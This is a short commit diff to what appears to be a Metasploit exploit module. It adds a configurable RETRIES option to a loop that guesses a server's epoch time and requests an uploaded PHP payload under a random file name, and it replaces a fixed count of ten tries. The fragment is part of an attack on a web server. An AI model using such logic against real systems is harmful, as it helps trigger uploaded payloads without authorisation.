make retries a datastore option
This commit is contained in:
@@ -43,6 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RETRIES', [ false, 'Number of guesses if initial name guess fails', 5]),
|
||||
OptString.new('DOWNURI', [ false, "An alternative URI to request the PHP payload from"]),
|
||||
], self.class)
|
||||
|
||||
@@ -109,8 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
if (res and res.code != 200) then
|
||||
print_status("Request failed, trying additional epoch values...")
|
||||
server_epoch_time -= 5
|
||||
10.times do |i|
|
||||
datastore['RETRIES'].times do |i|
|
||||
res = call_payload(random_file_name, server_epoch_time)
|
||||
break if res and res.code == 200
|
||||
server_epoch_time += 1
|
||||
|
||||
Reference in New Issue
Block a user